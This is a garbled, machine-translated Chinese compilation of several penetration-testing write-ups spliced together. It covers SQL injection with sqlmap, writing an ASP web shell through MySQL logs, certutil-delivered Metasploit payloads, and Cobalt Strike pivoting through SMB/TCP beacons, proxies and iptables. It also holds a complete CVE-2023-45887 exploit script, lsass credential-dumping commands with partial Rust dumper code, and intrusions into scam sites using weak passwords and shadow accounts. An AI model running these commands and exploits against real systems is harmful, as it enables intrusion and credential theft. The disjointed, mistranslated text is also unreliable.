顧客は以前にこの種のウェブサイトを提供したことがあるので、私はそれを非常に深く覚えています。この種のWebサイトでは、通常、通常のテストプロセスを直接放棄できます。これは、経験から、Webサイトの主要なWebサイト機能が基本的に脆弱ではないため、サイドステーションからしか開始できないことを示しているためです。

Ctrl+Uは、漏れを見つけることなくJSの波をチェックしました。振り返ってみると、ウェブサイトの右上隅にディスカウントアクティビティホールがあることがわかりました

1049983-20231228205024694-384972596.jpg

ページは開いた後はおなじみのようです

1049983-20231228205025370-542661655.jpg

アクティビティをクリックして、自由にテキストを送信できるように見えました。フィルタリングはありませんでした。私は自信を持ってXSSを入力し、提出しました。しかし、2日が経ち、それは役に立たなかった。私の気分は雲、霧、雨のようでした。

1049983-20231228205026079-996834101.jpg

ただし、以下にレビューの進捗クエリがあることがわかりました。開いた後、ユーザー名を入力するように求められます。ユーザー名を入力したため、データベースに持ち込まれるクエリである必要があります。 「クリッククエリ」を習慣的に追加しました。 10秒が経過し、応答がありませんでした。私は混乱しました。通常および存在しないアカウントテストを入力するとポップアップされますが、単一の引用符を使用したクエリにはまったく応答しません。

F12-Networkでパケットをキャッチしたとき、送信リクエストがあることがわかりました。注入があったことは明らかであり、ページがthinkphpであることがエラーが報告されました。一番下の隅から、バージョンは3.2.3でした。このバージョンは、ポルノからローンプラットフォームまで、HCのお気に入りであり、ほうれん草まで、ThinkPhpのすべてのバージョンです。

1049983-20231228205026757-1898265725.jpg

最初に波を注入してみてください

1049983-20231228205027316-381045247.jpg

SQLMAPは、1つの波で管理者アカウントとパスワードを取得しました。突然、私は背景アドレスがないことに気付き、それを手に入れるのは役に立たなかった。

FOFAは1つの波で実際のIPを取得し、PHPMyAdminサービスがポート999に存在することを発見し、6588にはGuardianとHost MasterというタイトルのASPステーションがあります。ディレクトリブラスト、ポートスキャン、サブドメインマイニング、背景アドレスは見つかりませんでした。

1049983-20231228205027957-1242469807.jpg

OS-Shellは成功しましたが、私が入力したものは何もありませんでした。

SQL-Shellにも同じことが言えます。慎重に観察した後、私はウェブサイトのパスが守護神にインストールされていることを発見しました。

1049983-20231228205028629-561975365.jpg

それは守護神がそれを傍受したのかもしれません。当時、私はこのPHPサイトで衛兵神を使うことが何を意味するのか疑問に思っていました。

10分後にhwshostmasterを見つけるためにバイドゥに行ってから、私がどれほど無知であるかに気づきました。警備員の神は単なるwafではなく、彼はホストマスターと呼ばれる礼拝も持っていて、機能はおそらくphpstudyと同じであることが判明しました。

ローカルインストールを観察すると、ホストマスターがデフォルトでインストールされた後、PHPMyAdminがポート999で開始され、ポート6588がポート6で発売されることがわかりました。

1049983-20231228205029347-347117277.jpg

ターゲットサイトにはphpMyAdminがあるため、SQLMAPを使用して相手のデータベースアカウントとパスワードハッシュを列挙しようとします。

sqlmap –r sql.txt - string='surname' - users - password

SQLMAPはルートとテストを列挙します。ルートパスワードはクラックされていませんが、テストパスワードは1234にクラックされています。ログインに正常に。

1049983-20231228205030057-215667047.jpg

この状況に関しては、Mu Shenの黒と白の日の要約に関する黒と白の日の公式記述には、詳細に書かれた記事があります。 Mu Shenがこの記事を見たら、広告料を支払うように頼んでください。

通常、MySQLデータベース、IntoUoutFile、およびエクスポートログからGetTingshellに2つの方法があります。

注入されたエラーページのファイルアドレスに応じて

1049983-20231228205030723-741784667.jpg

construct statement selece 1 into Outfile 'd:/wwwroot/xxx.com/web/1.txt'エラー#1-ファイルに作成/書き込みできない、許可を持たないでください

1049983-20231228205031295-494446252.jpg

ログの書き込みを使用して、最初にログをオンにしてから、次にログをオンにしてみてください

グローバルgeneral_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'まだ機能しないようです、私はクラックしました。

1049983-20231228205031948-1438742021.jpg

突然、このwwwrootディレクトリには許可がないので、ガーディアンホストマスターの管理ページはできますか?ローカルにインストールされているホストマスターファイルをめくった後、ホストマスターの管理ページの絶対パスがD: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。

グローバルgeneral_log_file='d: \\ hws.com \\ hwshostmaster \\ host \\ web \\ 1.asp' 'sucededを設定します。

1049983-20231228205032581-565330167.jpg

次に、「%eval request( 'Chopper')%」を選択して、http://xxx.xxx.xxx.xxx:6588/1.ASPエラー404にアクセスします。この問題は長い間困難でした。後で、現在のログファイルにアクセスできるように、ログファイルを他のファイルに置き換える必要があることがわかりました。 CNIFE接続が成功しました

1049983-20231228205033306-373989473.jpg

Whoamiはそれがシステムの許可であることを発見したので、残りは簡単でした。警備員がチェックと殺害を防ぐために、MSFが生成されます。 certutilを介してダウンロードされ、実行されます。 MSFはオンラインで発売され、移行プロセスはloadmimikatzです。 1つのセットの後、リモートアカウントのパスワードを取得し、ズボンを脱いでソースコードを梱包し、顧客に提出しましたが、完了しました。概要:1。メインサイトには抜け穴がありません。サイドステーションでアクションを実行します。ここでは、プロモーションアクティビティの資金調達ホールから、登録ページがあることがわかります。オンラインXSSスクリプトをネストして、管理者Cookie情報を取得することはできますが、Cookie2は取得していません。 Review Progressクエリで、実際のユーザー名を入力して、1回の見積もりを追加します。ページは対応していません。 F12は、ThinkPhpであるページにエラーがあり、バージョンが3.2.33であることを発見しました。 SQLMapを介して注入して、使用するハッシュ値を取得します。ここでは、ルートとテストのハッシュ値を取得します。これにより、テストのハッシュ値を復号化できます。 sqlmap –r sql.txt - -string='surname' - users - password4。 FOFAを介してターゲットWebサイトの対応するIPの他のポートをクエリし、999ビットPHPMYADMINポートと6588ビットエスコートゴッドマネジメントインターフェイスを含むポート999および6588があることを発見しました。 5.テストを通じてphpmyAdminの背景を入力し、注入エラーによって表示されるWebサイトの物理的パスに従って、into intemortメソッドを介してWebShell6に書き込むことができます。最初にWebディレクトリに書き込み、許可がないことを表示します 'd:/wwwroot/xxx.com/web/1.txt'7に1を選択します。ログログをオンにするか、検索するか、General_log_file='d: \\ wwwroot \\ xxx.com \\ web \\ a.php'8を設定します。 wwwrootディレクトリには許可がないため、ガーディアンホストマスター管理ページを使用できますか?ローカルインストールされたホストマスターファイルをめくると、ホストマスターの管理ページの絶対パスがd: \ hws.com \ hwshostmaster \ host \ webであることを確認できます。ログセットGlobal general_log_file='d: \\ hws.com \\ hwshostmaster \\ host \ web \ 1.asp'9を変更してください。次に、[%eval request( 'Chopper')% "を選択します。10。ナイフから正常に接続します

元のテキスト接続から転載: https://mp.weixin.qqc.com/s?__biz=mzg4ntuwmzm1ng==mid=22474860688IDX=2SN=4E32251AAF8C25EFEE653B3314A05A29CHKSM=CFA6A6 7F8D127715B23C7B8403A08CCFAC2E1BFF2AC68030401D54698BCB10CD637A55F7D15SCENE=178CUR_ALBUM_ID=1553386251775492092098#RD

0x01トランスファーマシンがあります

トランスファーマシンがあり、このマシンはネットワークから外れており、これが最も一般的な状況です。

多くの場合、複数のネットワークカードを備えたエッジマシンを取得し、イントラネットマシンはネットワークを離れません。この場合、このエッジマシンを使用して転送してオンラインになります。

トポロジーは、ほぼ次の:です

image-20220516141642261.png

オンライン方法1:SMBビーコン

はじめに

公式ウェブサイトはじめに:SMBビーコンは、親のビーコンを介して通信するために名前付きパイプを使用します。 2つのビーコンが接続されると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。

接続されたビーコンは通信にパイプという名前のWindowsを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMBビーコンは比較的隠されており、ファイアウォールを囲むときに奇跡的に機能する可能性があります。

image.png

を使用しています

このビーコンでは、SMBビーコンを持つホストがポート445で接続を受け入れる必要があります。SMBビーコン法を導き出しました。

または、ビーコンでコマンドスポーンSMBを使用します(SMBは私のSMBリスナー名です)

image-20220421232107035.png

プラグインを使用するか、独自のポートでイントラネットマシンをスキャンします

image-20220421234112584.png

表示してターゲットを選択します

image-20220421234143265.png

PSEXECの使用

image-20220421234333884.png

ハッシュを選択し、SMBリスナーと対応するセッションを選択します

image-20220421234419445.png

オンラインになります

image-20220422000337348.png

image-20220422000428622.png

実行が成功した後、キャラクター∞∞は導出されたSMBビーコンである外部で見ることができます。

現在接続されています。LinkIPコマンドを使用してリンクするか、IPコマンドをリンクしてビーコンで切断できます。

image-20220422000410651.png

image-20220422000458483.png

この種のビーコンは、イントラネットの水平浸透に多く使用されています。イントラネット環境では、IPC $によって生成されたSMBビーコンを使用して実行のためにターゲットホストにアップロードできますが、ターゲットホストはオンラインで直接行われません。リンクコマンド(リンクIP)を使用して接続する必要があります。

オンライン方法2:リスナーを転送(逆TCPビーコン)

実際、それはメソッドに似ています

image-20220422000759017.png

以下は自動的に構成されます

image-20220422000840172.png

次に、上記の方法と同様に、イントラネットホストを見つけてアカウントのパスワードを知っていて、水平方向にpsexecを渡すには、トランジットリスナーを選択します

image-20220422001158730.png

image-20220422001452245.png

image-20220422000337348.png

オンライン方法3:HTTPプロキシ

トランジットマシンはオンラインである必要はありません

GoProxy Projectをエージェントとして使用します。プロジェクトアドレス:

https://github.com/snail007/goproxy

プロセス:1。proxy.exeをWebサーバー(エッジホスト)にアップロードし、ポート8080でHTTPプロキシを有効にします

c: \ proxy.exe http -t tcp -p '0.0.0:8080' - daemon

2。NetSHコマンドを使用してトラフィックをリダイレクトして、イントラネットIP 192.168.111.131のポート822にアクセスします(未使用のポートである必要があります。そうでなければ失敗します)

NetshインターフェイスPortProxy Add v4tov4 shisteraddress=192.168.111.131 listenport=822 connectAddress=192.168.1.88 connectport=8080

image-20220516145111513.png

3.リスナーを作成し、次のように構成します

image-20220516163325095.png

4.雄弁なペイロードを生成し、ビジネスサーバーで実行し、オンラインで正常に進む

image-20220516163441748.png

接続プロセス

192.168.111.236→192.168.111.131:822→192.168.1.88:8080→C2(192.168.1.89)

オンライン方法4、TCPビーコン(フォワード)

フォワード接続はSMBビーコンに似ています。親のビーコンサムのビーコンも必要であり、TCPビーコンはコバルトストライクから派生したほとんどのアクションと互換性があります。一部を除いて

明示的なステージャーを必要とするユーザー駆動型の攻撃(たとえば、攻撃→パッケージ、攻撃→Webドライブバイ)。テスト:

TCPビーコンを生成します

image-20220424145301486.png

このビーコンを使用して、トロイの木馬を雄弁に生成します。

image-20220424145438941.png

ターゲットマシンにアップロードして実行します。

image-20220424150129703.png

Connect [IPアドレス] [ポート]コマンドを使用して、トランジットマシンのビーコンに接続してオンラインになります。

image-20220424150307350.png

ビーコンリンクを破壊するには、親または子セッションのコンソールで[IPアドレス] [IPアドレス] [セッションPID]を使用します。その後、同じホスト(または他のホスト)からTCPビーコンに再接続できます。

image-20220424150527311.png

オンライン方法5。Pystingerを使用してプロキシ転送

Pystingerの詳細な使用次の章を参照してください。簡単なデモは次のとおりです。

一般に、Pystingerはこのシナリオでは使用されません

テスト環境:攻撃航空機Kali:192.168.1.35

Webサーバー:192.168.1.70、192.168.111.129

ビジネスサーバー:192.168.111.236

プロセス:1。proxy.phpをWebサーバーWebサイトディレクトリにアップロードし、正常にアクセスするときにUTF-8に戻ります

Webサーバーの外部ネットワークIPは192.168.1.70です

image-20220517181300013.png

stinger_server.exeをアップロードして実行します

Stinger_server.exe 0.0.0.0を開始します

攻撃航空機で実行する(192.168.1.89)

./stinger_client -w http://192.168.1.70/proxy.php -l 127.0.0.1 -p 60000

この時点で、60020ポートオブザWebサーバーは60020 VPSポートに転送されました。

CSの設定を聞くために、HTTPホストはトランジットマシンのイントラネットIPであり、ポートは60020です。

image-20220517181223593.png

psexecを使用して水平に移動し、リスナーをpystingerとして選択するか、ビジネスホストで実行するためにペイロードを直接生成し、ビジネスイントラネットホスト192.168.111.236を正常に起動できます。

image-20220517182051748.png

image-20220517181145075.png

サプリメント:トランスファーマシンはLinux

です

httpプロキシ(トランジットマシンはオンラインである必要はありません)

使用方法は、上記の方法3と同じです。 iptablesを使用して転送するだけです。

Echo 1/proc/sys/net/ipv4/ip_forward

iptables -a Prerouting -P TCP -D 192.168.111.131 - DPORT 822 -J DNAT-滞留192.168.1.88:8080

iptables -a posttrouting -p TCP -D 192.168.1.88 - DPORT 8080 -J SNAT - ソースへ192.168.111.131

テスト:トランスファーマシン(192.168.111.142)

image-20220423214555465.png

攻撃航空機

image-20220423222203087.png

雄弁なペイロードを生成し、ターゲットマシンで実行し、オンラインで正常に進む

image-20220423222359445.png

image-20220423222645751.png

接続プロセス:(再スクリーニングされた画像、ポート変更8080-8081)

image-20220423222847432.png

192.168.111.140→192.168.111.142:8080→192.168.111.142:8081→192.168.111.131:81(C2)(C2)

プロキシ転送にPystingerを使用します

上記の方法5と同様に、Pystinger接続を確立した後、ビジネスホストで実行するためのペイロードを直接生成し、ビジネスイントラネットホスト192.168.111.236を正常に起動できます。

Crossc2

ビーコンは他のマシンを介してLinuxマシンを直接起動できます

image-20220424110511841.png

Crossc2は、LinuxまたはMacOSマシンの起動に使用されます

プロジェクトアドレス:[対応するバージョンを必ずダウンロードしてください]

https://github.com/gloxec/crossc2

構成:

(ここでWindowsでTeamServerを実行しています)

image-20220517214639195.png

HTTPSリスナーを作成します。

image-20220517215034645.png

ペイロードを生成します

(他の方法でも可能です)

image-20220517215228811.png

image-20220424104455547.png

image-20220424104411307.png

生成できない場合は、コマンドラインで直接生成することもできます

image-20220517221232018.png

世代後、Linuxマシンにアップロードし、実行してからオンラインになります。

image-20220517221438333.png

image-20220517221454859.png

CrossC2Kitプラグインをインストールして、ビーコン機能を濃縮します

image-20220517222854932.png

image-20220517222935500.png

イントラネットマシンがCS:リレー付きLinuxマシンで起動された後、上記の方法を使用してイントラネットマシンを起動できます。

TCPビーコン:image-20220517224718810.png

image-20220517224749945.png

ターゲットマシンにアップロードして実行します。

次に、Linuxビーコンの下に接続します。

image-20220517225035484.png

オンラインに行った後、それはブラックボックスになります、チェックインするだけです

上記の2つの方法を使用することをお勧めします。 DNSの

0x02エッジマシンには、ネットワークを出るためのDNSプロトコルのみがあります

# Exploit Title: DS Wireless Communication Remote Code Execution
# Date: 11 Oct 2023
# Exploit Author: MikeIsAStar
# Vendor Homepage: https://www.nintendo.com
# Version: Unknown
# Tested on: Wii
# CVE: CVE-2023-45887

"""This code will inject arbitrary code into a client's game.

You are fully responsible for all activity that occurs while using this code.
The author of this code can not be held liable to you or to anyone else as a
result of damages caused by the usage of this code.
"""

import re
import sys

try:
    import pydivert
except ModuleNotFoundError:
    sys.exit("The 'pydivert' module is not installed !")


# Variables
LR_SAVE = b'\x41\x41\x41\x41'
assert len(LR_SAVE) == 0x04
PADDING = b'MikeStar'
assert len(PADDING) > 0x00

# Constants
DWC_MATCH_COMMAND_INVALID = b'\xFE'
PADDING_LENGTH = 0x23C
FINAL_KEY = b'\\final\\'
WINDIVERT_FILTER = 'outbound and tcp and tcp.PayloadLength > 0'


def try_modify_payload(payload):
    message_pattern = rb'\\msg\\GPCM([1-9][0-9]?)vMAT'
    message = re.search(message_pattern, payload)
    if not message:
        return None

    payload = payload[:message.end()]
    payload += DWC_MATCH_COMMAND_INVALID
    payload += (PADDING * (PADDING_LENGTH // len(PADDING) + 1))[:PADDING_LENGTH]
    payload += LR_SAVE
    payload += FINAL_KEY
    return payload


def main():
    try:
        with pydivert.WinDivert(WINDIVERT_FILTER) as packet_buffer:
            for packet in packet_buffer:
                payload = try_modify_payload(packet.payload)
                if payload is not None:
                    print('Modified a GPCM message !')
                    packet.payload = payload
                packet_buffer.send(packet)
    except KeyboardInterrupt:
        pass
    except PermissionError:
        sys.exit('This program must be run with administrator privileges !')


if __name__ == '__main__':
    main()
            

序文

lsass.exe(ローカルセキュリティ局のサブシステム

サービスプロセススペースには、マシンのドメイン、ローカルユーザー名、パスワードなどの重要な情報があります。ローカルの高権限を取得すると、ユーザーはLSASSプロセスメモリにアクセスできるため、水平の動きと許可エスカレーションのために内部データをエクスポートできます。 LSAを介したユーザーパスワードまたはハッシュのダンプも、浸透プロセスに不可欠なステップです。ここでは、原則を学び、さまざまな投棄方法を記録します。

[TOC]

一般的な方法

mimikatz :: logonpasswords

通常、これらのツールをLolbinsと呼びます。つまり、攻撃者はこれらのバイナリを使用して、元の目的を超えて操作を実行できます。 Lolbinsでメモリをエクスポートするプログラムに焦点を当てています。

ホワイトリストツール

3つのMicrosoft Signature Whitelistプログラム

procdump.exe

sqldumper.exe

createdump.exe

procdump dump lsass.exeのメモリ

Procdumpは、プロセスメモリの投棄用に提供されるMicrosoft署名された法的バイナリファイルです。 Microsoftドキュメントで公式Procdumpファイルをダウンロードできます

ProcDumpを使用して、LSASプロセスDMPファイルをつかみ、

procdump64.exe -accepteula -ma lsass.exe lsass_dump

その後、使用するMimikatzを構成できます

sekurlsa:3360minidump lsassdump.dmp

sekurlsa:3360logonpasswords

lsass.exeに敏感な場合は、lsass.exe pidで使用することもできます。

procdump64.exe -accepteula -ma pid lsass_dum

この原則は、LSASS.EXEはWindowsシステムのセキュリティメカニズムであり、主にローカルセキュリティおよびログインポリシーに使用されるということです。通常、システムにログインするときにパスワードを入力した後、パスワードはlsass.exeメモリに保存されます。 2つのモジュールをWDigestとTSPKGを呼び出した後、可逆アルゴリズムを使用して暗号化され、メモリに保存されます。 Mimikatz LSASS.EXEの逆の計算により、プレーンテキストパスワードを取得します。

検出と殺害の状況に関して、トルブリンウイルスはスキャンされず、360は13バージョンでは検出されず、14バージョンで検出されたことがわかりました。

sqldumper.exe

sqldumper.exeユーティリティはMicrosoft SQL Serverに含まれています。 SQL Serverのメモリダンプと、デバッグ目的で関連プロセスを生成します。

Sqldumperへの一般的なパスは次のとおりです

C: \ Program Files \ Microsoft SQL Server \ 100 \ shared \ sqldumper.exe

C: \ Program Files \ Microsoft Analysis Services \ as oledb \ 10 \ sqldumper.exe

c: \プログラムファイル(x86)\ microsoft sql server \ 100 \ shared \ sqldumper.exe

sqldumper.exeは、完全なダンプファイルを生成するためにMicrosoft SQLおよびOfficeに含まれています。

TaskList /SVC | findstr lsass.exe lsass.exeのpid数を表示します

sqldumper.exe processid 00x01100エクスポートmdmpファイル

次に、局所的に復号化すると、同じバージョンのオペレーティングシステムを使用する必要があります。

mimikatz.exe 'sekurlsa:minidump sqldmpr0001.mdmp' 'sekurlsa:3360logonpasswords full' exit

360に殺されたタントレンは検出されませんでした

createdump.exe

.NET5の出現により、それはネイティブバイナリ自体です。署名はありますが、AVによって調査され殺されました。

createdump.exe -u -f lsass.dmp lsass [pid]

360によって殺されます

comsvcs.dll

comsvcs.dllは、主にCOM+サービスサービスを提供しています。このファイルはすべてのWindowsシステムで見つけることができ、プロセスの完全なダンプをrundll32を使用して実装して、エクスポート機能minidumpを実行できます。

このファイルはホワイトリストファイルです。主にcomsvsc.dllのエクスポート関数Apiminidumpを使用して、lsass.exeをダンプする目的を達成します。管理者の権限も必要であることに注意してください。 Sedebugprivilegeの許可を有効にする必要があるためです。 CMDでは、この許可はデフォルトで無効になり、PowerShellはデフォルトで有効になります。このファイルは、c: \ windows \ system32 \ comsvcs.dllにあります

次の方法を使用してMinidumpを呼び出してダンピングlsass.exeプロセス:を達成できます

PowerShell C: \ Windows \ System32 \ rundll32.exe C: \ windows \ system32 \ comsvcs.dll、minidump(get-process lsass).id $ env:temp \ lsass-comsvcs.dmp full

360もチェックして殺します。 Apiminidumpを呼び出すことでメモリを直接投棄するこの動作は、依然としてあまりにも敏感です。わずかな変更なしでチェックして殺されるのは簡単です。

他のツール

rdleakdiag.exe

デフォルトの既存のシステム:

Windows10 Windows8.1Windows8 Windows7 WindowsVista

ソフトウェアバージョン10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000

そのようなものがない場合は、渡すことを選択できます。

DMPメモリファイルを生成します

rdrleakdiag.exe /p pid /o outputdir /fullmemdmp /wait 1 rst

結果*+プロセスpid+.hlk、minidump*+プロセスpid+.dmpの2つのファイルが生成されます。次に、Mimikatzを使用して割れます。

avdump.exe

avdump.exeは、Avast Antivirusソフトウェアに付属するプログラムです。指定されたプロセス(lsass.exe)のメモリデータをダンプするために使用できます。 Avast Anti-Soft Digital Signatureが付属しています。したがって、一般的にAVによって殺されません。

住所をダウンロード:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfodownloadsaveinfodivgoto2

PSで呼び出す必要があります。そうしないと、CMDはデフォルトでSedebugprivilegeの許可を有効にしませんが、360はAvdumpを検出します。\ avdump.exe - pid lsass pid -exception_ptr 0 -thread_id 0 - dump_level 1 - dump_file c: \ uses \ admin \ desktop \ lsass.dmp - min_interval 0

しかし、それは360によっても殺されます。

所有者の編集dll

apiminidumpを呼び出すデモ

これには、Windowsプロセスプログラミングが含まれます。まず、Windowsの下でプロセスを通過する方法を確認できます。プロセスを横断するには、いくつかのAPIと構造が必要です。

1.プロセススナップショットを作成します

2。通過する最初のプロセスを初期化します

3。次のトラバーサルに進みます

4。プロセス情報構造

createToolHelp32SNAPSHOTを使用してプロセスを作成します

winapi createToolhelp32Snapshot(

dword dwflags、//「スナップショット」で返されるオブジェクトを指定するために使用されます。これは、th32cs_snapprocessなどです。

dword th32processid //プロセスID番号を使用して、スナップショットを取得するプロセスを指定します。システムプロセスのリストを取得したり、現在のプロセスのスナップショットを取得したりする場合、0に設定できます。

);

Process32Firstを使用して最初のプロセスハンドルを取得します

bool winapi process32first(

HSNAPSHOT、//_ in、プロセススナップショットハンドル

lpprocessentry32 lppe //_ out、プロセス情報構造を渡すと、システムはあなたのためにそれを埋めます。

);

Process32Nextを使用して次のプロセスを取得します

bool winapi process32next(

hsnapshotを処理し、createToolHelp32SNAPSHOTから返されたハンドル

LPPROCESSENTRY32 LPPEポインターへのProcessEntry32構造、プロセス情報構造

);

また、ProcessEntry32の構造が私たちに役立つものも含まれます。

初期化構造のDwsizeサイズTh32ProcessIDプロセスIDSZEXEXEFILE [MAX_PATH]プロセスパスtypedef struct tagprocessentry32 {

dword dwsize; //構造サイズは、最初の呼び出しの前に初期化する必要があります。

dword cntusage; //このプロセスの参照カウントは0です。プロセスは終了します。

dword th32processid; //プロセスID;

dword th32defaultheapid; //デフォルトのヒープIDを処理します。

dword th32moduleid; //モジュールIDを処理します。

dword cntthreads; //このプロセスが開くスレッドのカウント。

dword th32parentprocessid; //親プロセスID;

長いpcpriclassbase; //スレッドの優先順位;

dword dwflags; //予約済み;

char szexefile [max_path]; //完全なプロセス名;

} processentry32;

したがって、Rustによって実装されたコードは次のとおりです

fn getProcess(){

安全でない{

mut handle=createToolHelp32SNAPSHOT(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD、0);

mut process_entry : processentry32=zeroed();

process_entry.dwsize=std:3360mem:size_of:processentry32()as u32;

//mut process_handle=null_mut();

if!handle.is_null(){

process32first(handle、mut process_entry)==1 {

ループ{

extfileName=osstring3:from_wide(process_entry.szexefile.iter()。map(| x | x as u16).take_while(| x | x 0).collect:vecu16()。as_slice()。

println!( '{:} --------- {:}'、extfileName、process_entry.th32processid);

process32next(handle、mut process_entry)==0 {

壊す;

}

}

}

}

}

}

完全なダンプLSASプロセスメモリのコード

STD: {mem: {size_of}、ffi: {cstr、osstring、c_void、osstr}、OS:WINDOWS:PRELUDE3: { asrawhandle、rawhandle、osstrext}、fs:3:file、path: {path、self}};

STD:3360PTRを使用します。

clap:を使用します{app、arg};

log: {error}を使用します。

windows_sys: {win32: {foundation: {

CloseHandle、getLasterRor、invalid_handle_value、handle、luid、

}、security: {token_privileges、luid_and_attributes、se_privilege_enabled、token_adjust_privileges、lookupprivilegevaluea、adcusttokenprivileges}、system333333333:opentoken、診断:TOOLHELP3360:THS_SNAPTHREAD}、Storage:FilesSystem:3:Createfilea}、Core:PCSTR};

Windows_Sys:WIN32:STORAGE:3360FILESSTEM: {

createfilew、create_always、file_attribute_normal、

};

windows_sys:3:win32:system:3360diagnostics:3360debug: {

minidumpwithfullmemory、minidumpwritedump

};

windows_sys:3:win32:system:3360diagnostics:3360toolhelp: {

CreateToolhelp32Snapshot、Process32First、Process32Next、ProcessEntry32、Th32CS_SNApprocess、

};

Windows_Sys:3:WIN32:SESTEST:3360SYSTEMSERVICES:3360GENERIC_ALL;

Windows_Sys:WIN32:SESTESTESTEM:3360THREADING: {openProcess、process_all_access}を使用してください。

fn getPrivilege(ハンドル:ハンドル){

安全でない{

mut h_token: handle=handle:default();

mut h_token_ptr: *mut handle=mut h_token;

let tkp: token_privileges=token_privileges {

PrivileGecount: 1、

特権: [luid_and_attributes {

luid: luid {

LowPart: 0、

highpart: 0、

}、

属性: SE_PRIVILEGE_ENABLED、

}]、

};

//現在のプロセスのアクセストークンを開きます

token=openProcessToken(handle、token_adjust_privileges、h_token_ptr);

token!=0の場合{

let systemname=ptr:3360null_mut();

lookupprivilegevalueaの場合(

SystemName、

b'sedebugprivilege \ 0'.as_ptr()、

mut tkp.privileges [0] .luid)!=0 {

tkp.privileges [0] .attributes=se_privilege_enabled;

//println!( '{:}'、tkp.privileges [0] .attributes);

//現在のプロセスのSedebugprivilege許可を改善します

adcusttokenprivilegesの場合(

h_token、

0、

tkp as *const token_privileges、

0、

ptr:null_mut()、

ptr:null_mut())!=0 {

println!( 'トークン特権が調整された');

} それ以外{

let_error=getLasterRor();

println!( 'AductTokenPrivilegesがERROR:ステータス({:})'、last_error)で失敗しました。

}

} それ以外{

let_error=getLasterRor();

println!( 'lookupprivilegevalueはerror: status({:})'、last_error)で失敗しました。

}

//アクセストークンハンドルを閉じます

CloseHandle(h_token);

} それ以外{

let_error=getLasterRor();

println!( 'openProcessTokenはERROR:ステータスで失敗しました({:})'、last_error);

}

}

}

fn getProcess(lsassfile : str){

安全でない{

mut h_snapshot=createToolHelP32SNAPSHOT(TH32CS_SNAPPROCESS、0);

h_snapshot==invalid_handle_value {

println!( 'createToolhelp32Snapshot'を呼び出さなかった ');

}

mut process_entry: processentry32=std:mem:3360zeroed3:3360processentry32();

process_entry.dwsize=size_of:3360processentry32()as u32;

process32first(h_snapshot、mut process_entry)==0 {

println!( 'process32first error');

}

ループ{

let extfilename=cstr3:from_ptr(process_entry.szexefile.as_ptr()as *const i8).to_bytes();

extfile=osstring3:from_wide(extfilename.iter()。マップ(| x | x as u16).collect:vecu16()。as_slice()。

extfile.starts_with( 'lsass.exe'){

println!( '[+] got {:} pid: {:}'、extfile、process_entry.th32processid);

壊す;

}

process32next(h_snapshot、mut process_entry)==0 {

println!( 'process32next'を呼び出すことに失敗しました);

壊す;

}

}

let lsass_pid=process_entry.th32processid;

let process_handle=openProcess(process_all_access、0、lsass_pid);

process_handle==0の場合{

println!( 'プロセスを開くことができない');

}

let lsassfile=lsassfile;

lsassfile: vecu16=osstr:new(lsassfile).encode_wide()。チェーン(some(0).into_iter())。collect();

let lsasshandle=createfilew(

lsassfile.as_ptr()as *const u16、

generic_all、

0、

ptr:null_mut()、

create_always、

file_attribute_normal、

0、

);

lsasshandle==invalid_handle_value {

println!( 'file {:}'、lsassfile.to_string());

}

rest=minidumpwritedump(

序文

昨日の真夜中に記事を見ました。

私は自分のスキルを練習していたと思っていましたが、戦いの途中で、マスターはすでにそのような場所を傷つけていることがわかりました。それで、私はマスターの経験から学び、いくつかのエクササイズをして、自分が考えたことは何でも記録しました。そのため、執筆は非常に複雑で、解決策があるかどうかも記録しました。それから私はサイトを変更し、歩き続けました。

情報収集

フロントデスクはこのようなものです

Image

他の情報を見てください

Imageポートクエリ

Image80はメインページ8182です。

Imageカタログのトラバーサル

Image

脆弱性の発見

最初にバックエンドページに移動します

ユーザー名の入力:123プロンプスユーザーが存在しないプロンプトユーザー名を入力します:管理者プロンプトユーザーまたはパスワードが間違っています

管理アカウントを確認すると、確認する検証コードがありません。

直接弱いパスワード管理者123456背景を入力します

Image多くの機能はありませんし、使用するものは何もありません

ログインに戻ってSQLインジェクションを実行します

Image ImageMSSQL、DBA許可、Direct –OS-Shell

Imageここでの最初のマシンはネットワークを離れず、エコーしませんでした。私はあきらめました。いくつかのサイトを検索した後、私はついにリリースされてエコーされたウェブサイトを見つけました(リリースされている限り簡単に解決できました)。

Image

Image

csはオンライン

です

ここでCSを試して、ネットワークがPowerShellをオンラインで直接生成すると判断します

Image Image Image情報を確認し、タスクリストを確認してください

Image現在、それはデータベースの許可です。私は当局を増やそうとしましたが、それは直接切断され、ウェブサイトを開くことができませんでした。注意して使用し、十分な情報を収集し、十分なパッチ情報を収集する必要があります。

Image別のサイトが変更されました。ウェブサイトパスを見つけます

Image最初にウェブシェルを入手してください

ImageGodzillaのサツマイモはシステムに昇格しています

ImageCSプラグインのサツマイモも、権利を正常にアップグレードしました

Image

管理者のパスワードをつかみます

logonpasswords

有料

ImageADDシャドウアカウント、管理者の権限を追加する

Image

パブリックネットワークCSは、FRPを介してイントラネットMSFに行きます

最初の投稿、FRP+CSはローカルKaliシェルを実装します

サーバー(ここは5000です。変更後にスクリーンショットを撮るのを忘れていました)

Imageクライアント

ImageMSF監視を可能にします

ImageCS

Image

後続

トークンを盗んで管理者としてログインできるかどうかを確認してください

getuid //現在のトークン・インコグニットを見る

0x00問題の原点

图片

图片

图片

物語を理解した後、私の経験の後、これは豚の殺害事件であるべきです

詐欺師は、何らかの手段を使用して、犠牲者にお金を稼ぎ、充電を誘発し、豚をギャンブルに殺すことができることを納得させる

0x01ペノシスプロセス - 約20分で削除されました

浸透プロセスはシンプルで退屈です:

IPとポートを見た後、私はクラウドWAFがないはずだと判断したので、ディレクトリを直接スキャンし始めました

数分後、http://xxxx.com.cn/u.phpをスキャンしました。下の図に示すように、それはupupwの統合環境であることが判明しました

图片

图片

アイデア、PHPMYADMINを爆発させる、またはupUPWのデフォルトのデータベースパスワードを見つけるには、最初に試してみてください

图片

システムによって提供されたパスワードで正常にログインしましたが、デフォルトは次のとおりです。DRSXT5ZJ6OI55LPQはPHPMYADMINで正常にログインしました

图片

次に、GetShellを試してみてください。 upupwプローブがあるので、phpinfoとウェブサイトへの絶対的なパスを直接表示しました。 UpupWプローブのため、私は定期的にシェルを直接書き込もうとしました。

